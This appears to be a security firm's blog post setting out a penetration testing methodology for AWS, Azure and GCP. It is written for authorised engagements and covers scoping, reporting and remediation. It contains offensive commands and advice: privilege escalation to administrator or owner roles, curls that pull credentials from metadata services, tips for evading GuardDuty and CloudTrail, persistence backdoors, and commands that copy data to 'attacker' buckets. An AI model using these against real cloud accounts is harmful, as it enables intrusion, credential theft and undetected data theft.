Cloud Penetration Testing Methodology — AWS, Azure, GCP

Published May 3, 2026 · 18 min read · CLOUD

A cloud pentest is not a network pentest with extra steps. The interesting attack surface is the control plane — identity, key management, the metadata services, the orchestrators — and the rules of engagement are dictated by the cloud provider's customer policy, not by the customer alone. This methodology walks an engagement end-to-end across AWS, Azure and GCP: scope authorisation, recon tooling, IAM privilege escalation paths from the canonical Rhino Security Labs research, service-level attack chains (S3, Lambda, ECS, EKS, IAM Roles), GuardDuty evasion and CloudTrail blindspots, persistence, exfil over permitted channels, and the reporting structure that maps cleanly to the shared-responsibility model.

Phase 1 — scope and provider authorisation

Each major cloud publishes its own customer pentest policy. Read the current version before scoping — the permitted/prohibited list changes more often than the reference reports customers typically forward.

• AWS Penetration Testing — permits security testing on customer-owned resources without prior approval for a defined service list (EC2, RDS, Lambda, CloudFront, API Gateway, Lightsail, Beanstalk and a few more). DNS zone-walking, DoS-style flooding and any test of AWS's own service are prohibited without the simulated event form.
• Microsoft Azure Penetration Testing — customers may pentest their own deployments without prior approval, subject to the Microsoft Cloud Unified Penetration Testing Rules of Engagement. Out-of-scope: anything that degrades shared service availability.
• Google Cloud Customer Support — Pentest — customers do not need prior approval to pentest their own GCP applications. DoS and testing of Google-operated services are prohibited.

Capture the in-scope account/subscription/project IDs in writing, the white-cell contact, the stop-list (do not pivot into payments accounts; do not destroy KMS keys), and the credential handover format. For credentialed assessments the customer typically issues a dedicated principal with ReadOnly plus any additional managed policy the engagement requires.

Phase 2 — recon tooling matrix

The tooling is largely overlapping in capability but differs in focus — ScoutSuite is a posture auditor, CloudFox answers "what can these creds do?", Pacu is the exploitation framework. Run more than one; they catch different gaps.

# AWS recon
pacu
> import_keys axveil-eng
> set_regions us-east-1 eu-west-1 ap-south-1
> run aws__enum_account
> run iam__enum_users_roles_policies_groups
> run iam__enum_permissions
> run organizations__enum

cloudfox aws --profile axveil-eng all-checks
scout aws --profile axveil-eng --report-dir scout-aws

# Azure recon
scout azure --user-account --report-dir scout-azure
cloudfox azure --tenant <tenant-id> all-checks
# MicroBurst (PowerShell)
Import-Module .\MicroBurst.psm1
Get-AzPasswords -Verbose

# GCP recon
scout gcp --user-account --project-id axveil-target --report-dir scout-gcp
cloudfox gcp --project axveil-target all-checks

Phase 3 — IAM privilege escalation

Rhino Security Labs published the canonical AWS IAM privilege escalation research enumerating discrete permission combinations that allow elevation. Pacu's iam__privesc_scan automates the check; the equivalent muscle for GCP is the GCP-IAM-Privilege-Escalation repo; for Azure the AAD/Entra graph attack surface is the equivalent mining ground.

# AWS -- Pacu privesc scan
> run iam__privesc_scan

# AWS -- manual demonstration: AttachUserPolicy escalation
aws iam attach-user-policy \
  --user-name foothold-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --profile axveil-eng

# GCP -- setIamPolicy demo
gcloud projects get-iam-policy axveil-target > policy.yaml
# add foothold@... as roles/owner
gcloud projects set-iam-policy axveil-target policy.yaml

# Azure -- assign Owner via Az CLI
az role assignment create --assignee <object-id> \
  --role Owner --scope /subscriptions/<sub-id>

Phase 4 — service-specific attacks

S3 / Blob / GCS — still the highest-frequency finding

Across all three clouds, mis-permissioned object storage remains the single highest-frequency finding. Test for unauthenticated read on bucket listing, object listing, ACL grants (AllUsers, AuthenticatedUsers), cross-account or cross-tenant policy, missing Block Public Access (S3) / firewall rules (Azure storage) / uniform bucket-level access (GCS), missing server-side encryption, missing versioning, and access logging gaps.

Lambda / Functions / Cloud Run

Serverless functions execute with an attached identity. Standard checks: enumerate functions, extract environment variables (often database passwords and API keys), download function code, inspect the execution role, abuse UpdateFunctionCode if reachable to exfiltrate STS credentials. The same pattern applies to Azure Functions (managed identity) and Google Cloud Run / Cloud Functions (default service account).

Metadata service abuse — IMDS / IMDSv2 / MDS

The metadata service at 169.254.169.254 (AWS, GCP) or 169.254.169.254/metadata/instance(Azure) is the most-exploited cloud primitive in real-world breaches. Capital One's 2019 incident pivoted through an SSRF reaching IMDSv1 to retrieve EC2 role credentials. AWS shipped IMDSv2 (session-token, defeats most SSRF) in November 2019. Azure's IMDS requires a Metadata: trueheader; GCP's metadata server requires Metadata-Flavor: Google. For every VM in scope, audit whether the v2/header-required mode is enforced.

# AWS IMDSv2 sequence
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP metadata
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

EKS / AKS / GKE — from a pod to the cluster

Inside a compromised pod, the standard playbook: read the service account token at /var/run/secrets/kubernetes.io/serviceaccount/token, run kubectl auth can-i --list, look for hostPath / hostPID / privileged containers in the namespace, and check whether the pod can reach IMDS/MDS (the IRSA role on AWS, workload identity on GCP, AAD pod-identity on Azure are how a pod ends up holding cloud credentials). Tightening the IMDS hop limit to 1 and using IRSA / workload identity instead of node identity is the standard mitigation.

Phase 5 — GuardDuty evasion and CloudTrail blindspots

Detection evasion is part of any mature cloud pentest because the customer needs to know what their detection content actually catches. Public research (notably the Bishop Fox and Datadog write-ups, plus AWS's own GuardDuty findings reference) documents the known-noisy and the known-quiet techniques.

• CloudTrail data events are off by default for S3 and Lambda — GetObject and Invoke against in-scope resources are invisible unless data events are explicitly enabled. Bulk S3 reads are a classic exfil channel that leaves no trail.
• CloudTrail can be regional or org-trail. Activity in a region not covered by the org-trail produces no events to the central logging account.
• GuardDuty Recon:IAMUser/MaliciousIPCaller fires on the AWS-curated threat list. Operating from cloud-resident infrastructure (EC2 in a benign account, Cloud Shell) avoids the noisy IP-reputation rules.
• UnauthorizedAPICall findings depend on actual AccessDenied responses. Spray scans at high rate light up GuardDuty; targeted, slow enumeration after a permissions audit does not.
• Reference: AWS GuardDuty finding types.

Phase 6 — persistence techniques

• AWS— create a second access key on a long-lived IAM user; create an IAM user with a console password and MFA disabled; write an inline policy granting iam:*to a low-profile role; backdoor a trust relationship to allow an external account; modify a Lambda's code to re-exfiltrate credentials on each invoke.
• Azure— add a secondary credential to a service principal; add a federated identity credential (passwordless backdoor); register a malicious enterprise application; abuse Conditional Access bypass for break-glass accounts.
• GCP— create a new service account key on an existing SA; add a binding to roles/owner at folder/org level; abuse organisation policy exemptions; place a Cloud Function with an event trigger that periodically grants the role.

All persistence findings should ship with detection content — a Sigma rule, a CloudTrail EventBridge filter, or an Azure KQL alert — so the blue team can both reproduce the primitive and write the rule that catches it.

Phase 7 — exfiltration over permitted channels

Where the engagement permits proof-of-impact exfil, prefer AWS-native channels that egress over the cloud's own backbone:

• EBS snapshot share to an attacker-controlled account, then copy + mount.
• S3 PutObject into a bucket the foothold owns, then aws s3 sync down.
• Cross-account copy via aws s3 cp s3://target/... s3://attacker/....
• Azure: AzCopy into a SAS URL; storage account replication to attacker tenant.
• GCP: gsutil cp gs://target/... gs://attacker/...; Storage Transfer Service.

All exfil must be agreed upfront with the white cell, with synthetic data swapped in for real customer data wherever possible. The deliverable records volume, duration, the API calls used, and which detection rule (if any) fired.

Reporting — mapped to shared responsibility

Cloud pentest reports should organise findings against the provider's shared-responsibility model. AWS publishes the canonical model; Azure's equivalent is the shared responsibility in cloud computing page; GCP's is the shared fate framework. Every finding should map to a customer responsibility, with the named provider control that supports the recommended remediation (IAM Access Analyzer, GuardDuty, Defender for Cloud, Security Command Center, and so on). NIST's SP 800-115 remains the methodology backbone, and CIS Benchmarks for AWS / Azure / GCP supply the line-item compliance reference.

Remediation — the 30-day post-engagement plan

1. Days 0-7 — remediate critical findings (publicly readable storage, IMDSv1, over-permissive identities, exposed function env vars).
2. Days 7-14 — deploy preventive guardrails (AWS SCPs, Azure Policy, GCP organisation policies) so misconfigurations cannot regress.
3. Days 14-21 — run IAM Access Analyzer / Entra ID access reviews / GCP Policy Analyzer over every role flagged.
4. Days 21-30 — deploy detection content from the report into dev SIEM, validate, promote to prod.

For a scoped multi-cloud pentest aligned with this methodology, see the AxVeil VAPT service.

Frequently asked questions